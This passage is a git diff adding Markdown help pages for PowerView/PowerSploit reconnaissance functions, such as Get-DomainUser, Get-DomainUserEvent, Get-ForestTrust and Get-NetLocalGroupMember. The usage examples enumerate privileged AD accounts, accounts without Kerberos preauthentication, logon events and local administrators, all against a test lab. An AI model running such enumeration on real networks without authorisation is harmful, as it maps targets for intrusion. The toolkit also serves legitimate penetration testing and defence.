None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +{{Fill ServerTimeLimit Description}} + +```yaml +Type: Int32 +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +{{Fill Tombstone Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: LDAP +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + + +## OUTPUTS + +### PowerView.DomainTrust.NET +PowerView.DomainTrust.LDAP +PowerView.DomainTrust.API + + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUser.md b/docs/Recon/Get-DomainUser.md new file mode 100755 index 0000000..7247a1d --- /dev/null +++ b/docs/Recon/Get-DomainUser.md @@ -0,0 +1,426 @@ +# Get-DomainUser + +## SYNOPSIS +Return all users or specific user objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +### AllowDelegation (Default) +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-AllowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +### DisallowDelegation +``` +Get-DomainUser [[-Identity] ] [-SPN] [-AdminCount] [-DisallowDelegation] [-KerberosPreuthNotRequired] + [-Domain ] [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all user objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUser -Domain testlab.local +``` + +Return all users for the testlab.local domain + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" +``` + +Return the user with the given SID, as well as Administrator. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff +``` + +lastlogoff samaccountname +---------- -------------- +12/31/1600 4:00:00 PM dfm.a +12/31/1600 4:00:00 PM dfm +12/31/1600 4:00:00 PM harmj0y +12/31/1600 4:00:00 PM Administrator + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation +``` + +Search the specified OU for privileged user (AdminCount = 1) that allow delegation + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon +``` + +Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUser -Credential $Cred + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +Get-DomainUser dev\user1 -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainUser\] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) + +distinguishedname +----------------- +CN=user1,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. +Also accepts DOMAIN\user format. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -SPN +Switch. +Only return user objects with non-null service principal names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllowDelegation +Switch. +Return user accounts that are not marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: AllowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DisallowDelegation +Switch. +Return user accounts that are marked as 'sensitive and not allowed for delegation' + +```yaml +Type: SwitchParameter +Parameter Sets: DisallowDelegation +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -KerberosPreuthNotRequired +Switch. +Return user accounts with "Do not require Kerberos preauthentication" set. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +## OUTPUTS + +### PowerView.User + +Custom PSObject with translated user property fields. + +PowerView.User.Raw + +The raw DirectoryServices.SearchResult object, if -Raw is enabled. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainUserEvent.md b/docs/Recon/Get-DomainUserEvent.md new file mode 100755 index 0000000..c844981 --- /dev/null +++ b/docs/Recon/Get-DomainUserEvent.md @@ -0,0 +1,144 @@ +# Get-DomainUserEvent + +## SYNOPSIS +Enumerate account logon events (ID 4624) and Logon with explicit credential +events (ID 4648) from the specified host (default of the localhost). + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-DomainUserEvent [[-ComputerName] ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-Credential ] +``` + +## DESCRIPTION +This function uses an XML path filter passed to Get-WinEvent to retrieve +security events with IDs of 4624 (logon events) or 4648 (explicit credential +logon events) from -StartTime (default of now-1 day) to -EndTime (default of now). +A maximum of -MaxEvents (default of 5000) are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainUserEvent +``` + +Return logon events on the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3)) +``` + +Return all logon events from the last 3 days from every domain controller in the current domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000 + +Return a max of 1000 logon events from the specified machine using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies the computer name to retrieve events from, default of localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogonEvent + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Get-Forest.md b/docs/Recon/Get-Forest.md new file mode 100755 index 0000000..51ddef6 --- /dev/null +++ b/docs/Recon/Get-Forest.md @@ -0,0 +1,80 @@ +# Get-Forest + +## SYNOPSIS +Returns the forest object for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertTo-SID + +## SYNTAX + +``` +Get-Forest [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current +forest or the forest specified with -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Forest -Forest external.domain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Forest -Credential $Cred + +## PARAMETERS + +### -Forest +The forest name to query for, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.Management.Automation.PSCustomObject + +Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition +to the forest root domain SID. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestDomain.md b/docs/Recon/Get-ForestDomain.md new file mode 100755 index 0000000..d755c0c --- /dev/null +++ b/docs/Recon/Get-ForestDomain.md @@ -0,0 +1,82 @@ +# Get-ForestDomain + +## SYNOPSIS +Return all domains for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestDomain [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all domains for the current forest or the forest specified +by -Forest X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestDomain +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestDomain -Forest external.local +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestDomain -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for domains. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target forest. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestGlobalCatalog.md b/docs/Recon/Get-ForestGlobalCatalog.md new file mode 100755 index 0000000..c6da4bd --- /dev/null +++ b/docs/Recon/Get-ForestGlobalCatalog.md @@ -0,0 +1,78 @@ +# Get-ForestGlobalCatalog + +## SYNOPSIS +Return all global catalogs for the current (or specified) forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestGlobalCatalog [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +Returns all global catalogs for the current forest or the forest specified +by -Forest X by using Get-Forest to retrieve the specified forest object +and the .FindAllGlobalCatalogs() to enumerate the global catalogs. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestGlobalCatalog +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestGlobalCatalog -Credential $Cred + +## PARAMETERS + +### -Forest +Specifies the forest name to query for global catalogs. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.GlobalCatalog + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ForestTrust.md b/docs/Recon/Get-ForestTrust.md new file mode 100755 index 0000000..0ff5e3d --- /dev/null +++ b/docs/Recon/Get-ForestTrust.md @@ -0,0 +1,91 @@ +# Get-ForestTrust + +## SYNOPSIS +Return all forest trusts for the current forest or a specified forest. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Forest + +## SYNTAX + +``` +Get-ForestTrust [[-Forest] ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate domain trust relationships for the current (or a remote) +forest using number of method using the .NET method GetAllTrustRelationships() on a +System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ForestTrust +``` + +Return current forest trusts. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ForestTrust -Forest "external.local" +``` + +Return trusts for the "external.local" forest. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-ForestTrust -Forest "external.local" -Credential $Cred + +Return trusts for the "external.local" forest using the specified alternate credenitals. + +## PARAMETERS + +### -Forest +Specifies the forest to query for trusts, defaults to the current forest. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.DomainTrust.NET + +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-HttpStatus.md b/docs/Recon/Get-HttpStatus.md new file mode 100755 index 0000000..a8a7dbb --- /dev/null +++ b/docs/Recon/Get-HttpStatus.md @@ -0,0 +1,106 @@ +# Get-HttpStatus + +## SYNOPSIS +Returns the HTTP Status Codes and full URL for specified paths. + +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-HttpStatus [-Target] [[-Path] ] [[-Port] ] [-UseSSL] +``` + +## DESCRIPTION +A script to check for the existence of a path or file on a webserver. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt | Select-Object {where StatusCode -eq 20*} +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL +``` + +## PARAMETERS + +### -Target +Specifies the remote web host either by IP or hostname. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Path +Specifies the remost host. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: .\Dictionaries\admin.txt +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Port +Specifies the port to connect to. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UseSSL +Use an SSL connection. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error + +## RELATED LINKS + +[http://obscuresecurity.blogspot.com +http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html]() + diff --git a/docs/Recon/Get-NetComputerSiteName.md b/docs/Recon/Get-NetComputerSiteName.md new file mode 100755 index 0000000..1a3a964 --- /dev/null +++ b/docs/Recon/Get-NetComputerSiteName.md @@ -0,0 +1,89 @@ +# Get-NetComputerSiteName + +## SYNOPSIS +Returns the AD site where the local (or a remote) machine resides. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf + +## SYNTAX + +``` +Get-NetComputerSiteName [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function will use the DsGetSiteName Win32API call to look up the +name of the site where a specified computer resides. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local +``` + +Returns the site for WINDOWS1.testlab.local. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer | Get-NetComputerSiteName +``` + +Returns the sites for every machine in AD. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to check the site for (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system using Invoke-UserImpersonation. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ComputerSite + +A PSCustomObject containing the ComputerName, IPAddress, and associated Site name. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-NetLocalGroup.md b/docs/Recon/Get-NetLocalGroup.md new file mode 100755 index 0000000..29ac4d6 --- /dev/null +++ b/docs/Recon/Get-NetLocalGroup.md @@ -0,0 +1,132 @@ +# Get-NetLocalGroup + +## SYNOPSIS +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Get-NetLocalGroup [[-ComputerName] ] [-Method ] [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. +By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). +Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroup +``` + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroup -Method Winnt +``` + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... +S-1-5-32-569 Members are author... +... + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup -ComputerName primary.testlab.local +``` + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to a remote machine. +Only applicable with "-Method WinNT". + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + +[https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx) + diff --git a/docs/Recon/Get-NetLocalGroupMember.md b/docs/Recon/Get-NetLocalGroupMember.md new file mode 100755 index 0000000..302302b --- /dev/null +++ b/docs/Recon/Get-NetLocalGroupMember.md @@ -0,0 +1,212 @@ +# Get-NetLocalGroupMember + +## SYNOPSIS +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +## SYNTAX + +``` +Get-NetLocalGroupMember [[-ComputerName] ] [-GroupName ] [-Method ] + [-Credential ] +``` + +## DESCRIPTION +This function will enumerate the members of a specified local group on the +current, or remote, machine. +By default, the Win32 API call NetLocalGroupGetMembers +will be used (for speed). +Specifying "-Method WinNT" causes the WinNT service provider +to be used instead, which returns a larger amount of information. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-NetLocalGroupMember -Method winnt | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-NetLocalGroup | Get-NetLocalGroupMember | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +WINDOWS1 Administrators WINDOWS1\Ad... +S-1-5-21-25... +False False +WINDOWS1 Administrators WINDOWS1\lo... +S-1-5-21-25... +False False +WINDOWS1 Administrators TESTLAB\Dom... +S-1-5-21-89... +True True +WINDOWS1 Administrators TESTLAB\har... +S-1-5-21-89... +False True +WINDOWS1 Guests WINDOWS1\Guest S-1-5-21-25... +False False +WINDOWS1 IIS_IUSRS NT AUTHORIT... +S-1-5-17 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-4 False False +WINDOWS1 Users NT AUTHORIT... +S-1-5-11 False False +WINDOWS1 Users WINDOWS1\lo... +S-1-5-21-25... +False UNKNOWN +WINDOWS1 Users TESTLAB\Dom... +S-1-5-21-89... +True UNKNOWN + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-NetLocalGroupMember -ComputerName primary.testlab.local | ft +``` + +ComputerName GroupName MemberName SID IsGroup IsDomain +------------ --------- ---------- --- ------- -------- +primary.tes... +Administrators TESTLAB\Adm... +S-1-5-21-89... +False False +primary.tes... +Administrators TESTLAB\loc... +S-1-5-21-89... +False False +primary.tes... +Administrators 